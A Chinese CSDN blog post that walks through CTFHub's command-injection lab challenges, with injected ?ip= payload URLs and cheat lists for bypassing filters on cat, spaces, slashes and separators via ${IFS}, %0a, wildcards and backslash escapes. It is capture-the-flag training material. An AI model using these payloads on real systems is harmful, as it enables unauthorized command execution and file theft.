CTF刷题记录CTFHub-RCE-命令注入

本文详细介绍了CTF比赛中遇到的各种命令注入问题及其解决方案,包括无过滤、过滤cat、过滤空格、过滤目录分隔符、过滤运算符及综合过滤情况下的命令执行技巧,如使用more、less等命令绕过过滤,以及利用通配符和重定向符读取文件内容。通过这些实例,展示了如何在不同限制下成功获取flag。
摘要由CSDN通过智能技术生成

**

CTFHub-RCE-命令注入

**

1.无任何的过滤

一、解题思路
通过输入一些指令,利用某些特定的函数进行的操作,从而达到命令执行攻击的效果。
在这里插入图片描述

因为没有任何的过滤,那么我们可以直接使用分号(;)闭合前面的语句,执行ls命令

http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls

在这里插入图片描述
通过执行ls命令可以看到,该目下的文件,这是linux环境下
在这里插入图片描述

如果是window环境下,使用命令dir查看目录文件
在这里插入图片描述
在这里插入图片描述
我们使用cat命令读取index.php文件
http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat index.php

在这里插入图片描述
http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat 137391798722228.php
那我们也读取137391798722228.php这个文件试试
在这里插入图片描述
查看页面源代码,可以得到flag
在这里插入图片描述
二、知识点:
1、每个命令之间用(分号)”;”隔开;
说明:各命令的执行结果,不会影响其他命令的。
意思是说每个命令都会执行,但不保证每个命令都执行成功。
2、每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样的话,可以保证所有的命令执行完毕后,执行的过程都是成功的。
3、每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后采取执行下一条命令,直到执行成功一条命令为止。
4、|是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5、&是后台任务符号。后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。

**

2.过滤cat

**
一、解题思路
当cat被过滤后,可以使用一下命令进行读取文件的内容
(1)more:一页一页的显示的显示档案内容
(2)less:与more类似,但是比more更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出tac是cat的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体的内容

直接使用分号(;)代替回车,执行ls命令
在这里插入图片描述
可以看到flag_124552338228659.php文件,那么我们可以直接使用cat进行读取
在这里插入图片描述
可是回显的是cat被过滤了,那么使用less或more试试
在这里插入图片描述
在这里插入图片描述

查看页面源代码,可以得到flag
在这里插入图片描述

3.过滤空格

直接使用分号(;)代替回车,执行ls命令
在这里插入图片描述
可以看到flag_806737515962.php文件,那么我们可以直接使用cat进行读取
在这里插入图片描述
可是回显的是空格被过滤了,那么使用<或${IFS}试试
在这里插入图片描述
在这里插入图片描述

查看页面源代码,可以得到flag
在这里插入图片描述
当空格被过滤后,可以使用一下命令进行读取文件的内容
< <> >重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20

4.过滤目录分隔符

http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls
在这里插入图片描述
我们可以看到,使用逗号分隔符(;)结束前面的命令,成功执行ls命令,发现文件夹flag_is_here,接下来我们使用cd命令,进入到文件夹呢,ls查看这个文件的内容
http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;ls
在这里插入图片描述
发现该文件夹中有一个名为flag_252412887014927.php的文件
在这里插入图片描述
我直接使用cat f*读取文件,查看页面源代码,得到flag
在这里插入图片描述
方法二:

在linux的系统环境变量中${PATH:0:/}代替/
http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls flag_is_here{PATH:0:1}

同样也可以,得到flag_is_here中的文件内容
在这里插入图片描述
在这里插入图片描述

http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_is_here${PATH:0:1}flag_252412887014927.php

在这里插入图片描述
查看页面源代码得到flag
在这里插入图片描述

5.过滤运算符

直接上手,执行ls命令,发现成功执行
http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls
在这里插入图片描述
接下来,直接使用cat读取文件
http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_7666637111301.php
在这里插入图片描述
查看页面源代码,得到flag
在这里插入图片描述
经过测试,过滤了管道符(|),直接使用逗号(;)分隔
在这里插入图片描述
方法二
http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;base64 flag_7666637111301.php
使用base64加密这个文件
在这里插入图片描述

使用base64在线解密,得到flag

在这里插入图片描述

6.综合过滤练习

直接使用逗号分隔(;)进行分隔,执行ls命令,发现逗号(;)被过滤
http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls
在这里插入图片描述
命令分隔符的绕过姿势
;
%0a
%0d
&
那我们使用%0a试试,发现ls命令被成功执行
http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0als

在这里插入图片描述
发现一个名为flag_is_here的文件夹和index.php的文件,那么我们还是使用cd命令进入到文件夹下
http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd flag_is_here%0als
在这里插入图片描述
发现空格和flag被过滤,空格绕过前面已经讲述,这里就不在赘述,直接尝试${IFS}进行空格绕过,使用fla\g反斜杠转义flag

http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0als

成功读取flag_is_here文件夹下的内容
在这里插入图片描述
接下来,直接使用cat读取flag_300121897522180.php文件里的内容

http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0acat${IFS}fla\g_300121897522180.php

在这里插入图片描述
发现过滤了cat,前面也讲过cat的绕过姿势,这里不在赘述,直接尝试less

http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0aless${IFS}fla\g_300121897522180.php

在这里插入图片描述
命令执行成功,查看页面源代码得到flag

在这里插入图片描述
方法二
使用通配符进行绕过

符号解释
*匹配任意长度任意字符
匹配任意单个字符
[list]匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
[^list]匹配指定范围外的任意单个字符和字符集合
[!list]同[^list]
{str1,str2,…}匹配str1或者str2或者更多字符串,也可以是集合
http://challenge-32203cc1c6b08a7e.sandbox.ctfhub.com:10800?ip=127.0.0.1%0acd${IFS}f*%0aless${IFS}f*

在这里插入图片描述
查看页面源代码,也可以得到flag

在这里插入图片描述
如果不想查看页面源代码,也可以使用base64加密flag_318922667817912.php文件

http://challenge-32203cc1c6b08a7e.sandbox.ctfhub.com:10800?ip=127.0.0.1%0acd${IFS}f*%0abase64${IFS}f*

在这里插入图片描述
然后进行base64解密,即可得到flag
在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值